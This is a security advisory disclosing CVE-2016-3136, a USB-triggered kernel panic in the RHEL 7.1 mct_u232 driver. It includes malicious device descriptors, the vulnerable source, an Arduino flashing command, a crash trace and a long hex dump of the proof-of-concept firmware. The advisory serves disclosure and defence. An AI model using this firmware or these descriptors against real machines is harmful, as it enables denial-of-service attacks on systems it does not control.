

# OS-S Security Advisory 2016-08

## Linux mct\_u232 Nullpointer Dereference

Date: March 4<sup>th</sup>, 2016

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CVE: CVE-2016-3136

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (mct\_u232\_m8 driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86\_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12<sup>th</sup> 2015

### Abstract:

The Kernel 3.10.0-229.20.1.el7.x86\_64 crashes on presentation of a buggy USB device requiring the mct\_u232\_m8 driver.

### Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86\_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

### Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo ([github.com/schumilo](https://github.com/schumilo)) using the following device descriptor:

| [*] Device-Descriptor |       |
|-----------------------|-------|
| bLength:              | 0x12  |
| bDescriptorType:      | 0x1   |
| bcdUSB:               | 0x200 |
| bDeviceClass:         | 0x3   |
| bDeviceSubClass:      | 0x0   |
| bDeviceProtocol:      | 0x0   |
| bMaxPacketSize:       | 0x40  |
| idVendor:             | 0x50d |
| idProduct:            | 0x109 |
| bcdDevice:            | 0x100 |
| iManufacturer:        | 0x1   |
| iProduct:             | 0x2   |
| iSerialNumbers:       | 0x3   |
| bNumConfigurations:   | 0x1   |

This is the configuration descriptor containing only one interrupt-endpoint-descriptor (IN-direction).

The mct\_u232 driver assumes that there will be at least two endpoint-descriptors configured as interrupt-in.

Since there is no sanity check, it is possible that the kernel tries to dereference a null-pointer.

This results in a crash of the system.

```

****
$ nm mct_u232.ko.debug | grep mct_u232_port_probe
0000000000000fc0 t mct_u232_port_probe
$ addr2line -e mct_u232.ko.debug 0xFF9
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/serial/mct_u232.c:386
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/mct_u232.c)
...
377 static int mct_u232_port_probe(struct usb_serial_port *port)
378 {
379     struct mct_u232_private *priv;
380
381     priv = kzalloc(sizeof(*priv), GFP_KERNEL);
382     if (!priv)
383         return -ENOMEM;
384
385     /* Use second interrupt-in endpoint for reading. */
386     priv->read_urb = port->serial->port[1]->interrupt_in_urb; /* missing sanity check -> possible null-pointer
dereference */
387     priv->read_urb->context = port;
388
389     spin_lock_init(&priv->lock);
390
391     usb_set_serial_port_data(port, priv);
392
393     return 0;
394 }
...
****

```

#### [\*] Configuration-Descriptor

|                      |      |
|----------------------|------|
| bLength:             | 0x9  |
| bDescriptorType:     | 0x2  |
| wTotalLength:        | 0x27 |
| bNumInterfaces:      | 0x1  |
| bConfigurationValue: | 0x1  |
| iConfiguration:      | 0x0  |
| bmAttributes:        | 0x0  |
| bMaxPower:           | 0x31 |

#### [\*] Interface-Descriptor

|                     |     |
|---------------------|-----|
| bLength:            | 0x9 |
| bDescriptorType:    | 0x4 |
| bInterfaceNumber:   | 0x0 |
| bAlternateSetting:  | 0x0 |
| bNumEndpoints:      | 0x3 |
| bInterfaceClass:    | 0x0 |
| bInterfaceSubClass: | 0x0 |
| bInterfaceProtocol: | 0x0 |

#### [\*] Endpoint-Descriptor:

|                   |       |                      |
|-------------------|-------|----------------------|
| bLength:          | 0x7   |                      |
| bDescriptorType:  | 0x5   |                      |
| bEndpointAddress: | 0x81  | ← IN-Direction       |
| bmAttribut:       | 0x3   | ← Interrupt-Transfer |
| wMaxPacketSize:   | 0x404 |                      |
| bInterval:        | 0xc   |                      |

#### [\*] Endpoint-Descriptor:

|                   |     |                 |
|-------------------|-----|-----------------|
| bLength:          | 0x7 |                 |
| bDescriptorType:  | 0x5 |                 |
| bEndpointAddress: | 0x1 | ← OUT-Direction |
| bmAttribut:       | 0x2 | ← Bulk-Transfer |
| wMaxPacketSize:   | 0x4 |                 |
| bInterval:        | 0xc |                 |

#### [\*] Endpoint-Descriptor:

|                   |      |                 |
|-------------------|------|-----------------|
| bLength:          | 0x7  |                 |
| bDescriptorType:  | 0x5  |                 |
| bEndpointAddress: | 0x82 | ← IN-Direction  |
| bmAttribut:       | 0x1  | ← Bulk-Transfer |

wMaxPacketSize: 0x4  
bInterval: 0xc

### Proof of Concept:

For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device.

```
avrduide -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

### Severity and Ease of Exploitation:

The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required.

### Vendor Communication:

We contacted Red Hat on the November, 12<sup>th</sup> 2015.

To this day, no security patch was provided by the vendor.

Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory.

### References:

- [https://bugzilla.redhat.com/show\\_bug.cgi?id=1283370](https://bugzilla.redhat.com/show_bug.cgi?id=1283370)

### Kernel Stacktrace:

```
[ 2273.524650] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 2273.741789] usb 1-1: New USB device found, idVendor=050d, idProduct=0109
[ 2273.749429] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 2273.757144] usb 1-1: Product: ĉ
[ 2273.760821] usb 1-1: Manufacturer: ĉ
[ 2273.763500] usb 1-1: SerialNumber: %
[ 2273.768699] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes
[ 2273.814069] usbcore: registered new interface driver mct_u232
[ 2273.820979] usbserial: USB Serial support registered for MCT U232
[ 2273.833864] mct_u232 1-1:1.0: MCT U232 converter detected
[ 2273.838511] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158
[ 2273.839330] IP: [<ffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232]
[ 2273.839330] PGD 0
[ 2273.839330] Oops: 0000 [#1] SMP
[ 2273.839330] Modules linked in: mct_u232(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebttable_nat
ebtable_broute bridge stp llc ebttable_filter ebttables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 2273.839330] CPU: 0 PID: 8890 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 2273.839330] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33f8e13 by qemu-
project.org 04/01/2014
[ 2273.839330] task: ffff88000f546660 ti: ffff88000f4cc000 task.ti: ffff88000f4cc000
[ 2273.839330] RIP: 0010:[<ffffffa0393ff9>] [<ffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232]
[ 2273.839330] RSP: 0018:ffff88000f4cf908 EFLAGS: 00010286
[ 2273.839330] RAX: ffff88000d9b49a0 RBX: ffff88000c34e800 RCX: 0000000000000000
[ 2273.839330] RDX: 0000000000000000 RSI: ffff88000d9b49a0 RDI: ffff88000c34eab0
[ 2273.839330] RBP: ffff88000f4cf910 R08: 000000000000163c R09: ffff88000e401c00
[ 2273.839330] R10: ffffffa0393fe3 R11: 0000000000000004 R12: 0000000000000000
[ 2273.839330] R13: ffff88000c34e800 R14: ffffffa0396000 R15: ffffffa0396000
[ 2273.839330] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 2273.839330] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 2273.839330] CR2: 0000000000000158 CR3: 000000000f70c000 CR4: 00000000000006f0
[ 2273.839330] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 2273.839330] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000040
[ 2273.839330] Stack:
[ 2273.839330] ffff88000c34eab0 ffff88000f4cf940 ffffff81461cf6 ffff88000c34eab0
[ 2273.839330] ffff88000c34eab0 ffffffa0396028 ffff88000c34eab0 ffff88000f4cf968
[ 2273.839330] ffffff813d30d7 ffffffa0396028 ffff88000c34eab0 ffffff813d333e
[ 2273.839330] Call Trace:
[ 2273.839330] [<fffff81461cf6>] usb serial device probe+0x56/0x110
```

```

[ 2273.839330] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 2273.839330] [<ffffffff813d33e0>] ? driver_probe_device+0x390/0x390
[ 2273.839330] [<ffffffff813d341b>] __device_attach+0x3b/0x40
[ 2273.839330] [<ffffffff813d0f1b>] bus_for_each_drv+0x6b/0xb0
[ 2273.839330] [<ffffffff813d2fd8>] device_attach+0x88/0xa0
[ 2273.839330] [<ffffffff813d22d8>] bus_probe_device+0x98/0xc0
[ 2273.839330] [<ffffffff813cfd64>] device_add+0x4c4/0x7a0
[ 2273.839330] [<ffffffff81460243>] usb_serial_probe+0x1123/0x1230
[ 2273.839330] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[ 2273.839330] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[ 2273.839330] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[ 2273.839330] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[ 2273.839330] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 2273.839330] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 2273.839330] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 2273.839330] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 2273.839330] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 2273.839330] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 2273.839330] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[ 2273.839330] [<fffffafa0399000>] ? 0xfffffafa0398fff
[ 2273.839330] [<fffffafa039901e>] usb_serial_module_init+0x1e/0x1000 [mct_u232]
[ 2273.839330] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 2273.839330] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 2273.839330] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 2273.839330] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 2273.839330] [<fffffafa0399000>] SyS_finit_module+0xa6/0xd0
[ 2273.839330] [<fffffafa039901e>] system_call_fastpath+0x16/0x1b
[ 2273.839330] Code: 00 00 48 89 e5 53 48 89 fb 48 8b 3d aa 3e aa e1 e8 9d 7a e1 e0 48 85 c0 74 38 48 8b 13 48 8d
bb b0 02 00 00 48 89 c6 48 8b 52 28 <48> 8b 92 58 01 00 00 48 89 10 48 89 9a b0 00 00 00 c7 40 08 00
[ 2273.839330] RIP [<fffffafa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232]
[ 2273.839330] RSP <ffff88000f4cf908>
[ 2273.839330] CR2: 0000000000000158
[ 2274.348716] ---[ end trace b239663354a1c556 ]---
[ 2274.356144] Kernel panic - not syncing: Fatal exception
[ 2274.357102] drm_kms_helper: panic occurred, switching back to text console

```

### Arduino Leonardo Firmware:

```

:10000000C94A8000C94C5000C94C5000C94C50079
:10001000C94C5000C94C5000C94C5000C94C5004C
:10002000C94C5000C94C5000C94C4050C942F04CA
:10003000C94C5000C94C5000C94C5000C94C5002C
:10004000C94C5000C94C5000C94C5000C94C5001C
:10005000C94C5000C94C5000C94C5000C940E02C1
:10006000C94C5000C94C5000C94C5000C94C500FC
:10007000C94C5000C94C5000C94C5000C94C500EC
:10008000C94C5000C94C5000C94C5000C94C500DC
:10009000C94C5000C94C5000C94C5000C94C500CC
:1000A000C94C5000C94C5000C94C5000B030E0302
:1000B000010305032F032F032F03120316031A0353
:1000C000200324032F032A030000000200080E006F
:1000D00000030401000B00000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:10010000102040400404040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EDF3E102C005900D92A436B107D1
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9404070C940000089545
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B
:1001B00083E00E94300361E087E00E94300361E049
:1001C00088E00E9430030E9459067E012AE9E20E6F
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002

```

:100220000D928A95E1F789E0EEE5F1E0DE01A05953  
:10023000BF4F01900D928A95E1F72A593F4F99E0FF  
:10024000992ED901E92D1D92EA95E9F78E010957FA  
:100250001F4F87E0E7E6F1E0D80101900D928A9503  
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189  
:1002700001900D928A95E1F7AE0147585F4F87E0F4  
:10028000E5E7F1E0DA0101900D928A95E1F75E0170  
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D  
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172  
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188  
:1002C0009C92F4E01196FC9311971496EC93F9012B  
:1002D000DC01292D01900D922A95E1F7FE01EC56E3  
:1002E000FF4FDC011B96FC93EE931A971D96BC9270  
:1002F000AE921C971183008373836283558344837A  
:100300000C5211092CE0F80111922A95E9F721E02D  
:10031000D80119962C931997FE01E059FF4F0190CF  
:100320000D929A94E1F7F8019387828761E088E063  
:100330000E9469038BE492E00E94650688E892E0DF  
:100340000E94650687EC92E00E94650686E093E0D5  
:100350000E94650682E493E00E9465068FE793E0C1  
:100360000E94650684EA93E00E9465068BEE93E0A6  
:100370000E94650683E00E949F03892B09F047C015  
:100380005E01F3E2AF0EB11C8824839482E1982EC3  
:1003900084E194E00E946506BF92AF92DF92CF9213  
:1003A000FF92EF921F928F921F930F932DB73EB73C  
:1003B000225131090FB6F8943EBF0FBE2DBFADB725  
:1003C000BEB71196FE01FB96892D01900D928A957C  
:1003D000E1F78DE695E00E94030668E873E180E0AE  
:1003E00090E00E947B028DE695E00E944E0660E060  
:1003F00087E00E94690368E873E180E090E00E9472  
:100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E  
:1004100070E080E090E00E947B02ACCF1F920F92D0  
:100420000FB60F9211242F933F938F939F93AF9307  
:10043000BF938091650590916605A0916705B09185  
:1004400068053091640523E0230F2D3720F40196D1  
:10045000A11DB11D05C026E8230F0296A11DB11DE7  
:10046000209364058093650590936605A0936705C6  
:10047000B09368058091690590916A05A0916B051C  
:10048000B0916C050196A11DB11D809369059093F3  
:100490006A05A0936B05B0936C05BF91AF919F91D6  
:1004A0008F913F912F910F900FBE0F901F90189535  
:1004B0003FB7F8948091690590916A05A0916B050A  
:1004C000B0916C0526B5A89B05C02F3F19F0019689  
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C  
:1004E000711D811D911D42E0660F771F881F991FA6  
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372  
:10050000DF936B017C010E945802EB01C114D104FE  
:10051000E104F10479F00E9458026C1B7D0B683EE7  
:100520007340A0F381E0C81AD108E108F108C8516E  
:10053000DC4FECCDF91CF91FF90EF90DF90CF9029  
:100540000895789484B5826084BD84B5816084BD4B  
:1005500085B5826085BD85B5816085BDEEE6F0E03C  
:10056000808181608083E1E8F0E010828081826098  
:100570008083808181608083E0E8F0E08081816019  
:100580008083E1E9F0E08081826080838081816006  
:100590008083E0E9F0E0808181608083E1ECF0E03D  
:1005A000808184608083808182608083808181609B  
:1005B0008083E3ECF0E0808181608083E0ECF0E018  
:1005C000808182608083E2ECF0E0808181608083C2  
:1005D000EAE7F0E0808184608083808182608083AC  
:1005E000808181608083808180688083089590E02D  
:1005F000FC013197EE30F10590F5EA5AFF4F0C946B  
:10060000AB09809180008F7703C0809180008F7D3F  
:1006100080938000089584B58F7702C084B58F7D64  
:1006200084BD0895809190008F7707C080919000DD  
:100630008F7D03C080919000877F80939000089504  
:100640008091C0008F7703C08091C0008F7D809320

:10065000C00008958091C200877F8093C2000895F2  
:10066000CF93DF9390E0FC01EA51FF4F2491FC010E  
:10067000EC5FFE4F8491882349F190E0880F991F29  
:10068000FC01E25CFE4FA591B491805D9E4FFC01A0  
:10069000C591D4919FB7611108C0F8948C912095B1  
:1006A00082238C93888182230AC0623051F4F894AB  
:1006B0008C91322F309583238C938881822B888371  
:1006C00004C0F8948C91822B8C939FBFDF91CF91C3  
:1006D00008950F931F93CF93DF931F92CDB7DEB78B  
:1006E000282F30E0F901E853FF4F8491F901EA51D6  
:1006F000FF4F1491F901EC5FFE4F04910023C9F004  
:10070000882321F069830E94F7026981E02FF0E0DD  
:10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7  
:100720008C91611103C01095812301C0812B8C93A2  
:100730009FBF0F90DF91CF911F910F910895CF939D  
:10074000DF93282F30E0F901E853FF4F8491F9013E  
:10075000EA51FF4FD491F901EC5FFE4FC491CC23D5  
:1007600091F081110E94F702EC2FF0E0EE0FFF1FD5  
:10077000EE5DFE4FA591B4912C912D2381E090E088  
:1007800021F480E002C080E090E0DF91CF910895F5  
:10079000615030F02091F100FC0120830196F8CFE8  
:1007A000289884E680937D0508951092E9001092C0  
:1007B00071051092700590936F0580936E050895F2  
:1007C000FF920F931F93CF93DF93F82E8B01EA01D3  
:1007D000BA01C8010E94A606F80120E030E08EEFC1  
:1007E0002C173D0791F1F7FE02C0A49101C0A08132  
:1007F000609170057091710540916E0550916F0583  
:1008000064177507ACF49091E8009570E1F390914E  
:10081000E80092FD1CC0A093F100A0917005B0917A  
:1008200071051196AF73BB27AB2B11F48093E800D1  
:10083000A0917005B09171051196B0937105A093C8  
:1008400070052F5F3F4F3196CBCFC90102C08FEFAC  
:100850009FEFDF91CF911F910F91FF9008951F920D  
:100860000F920FB60F9211246F927F928F929F92E8  
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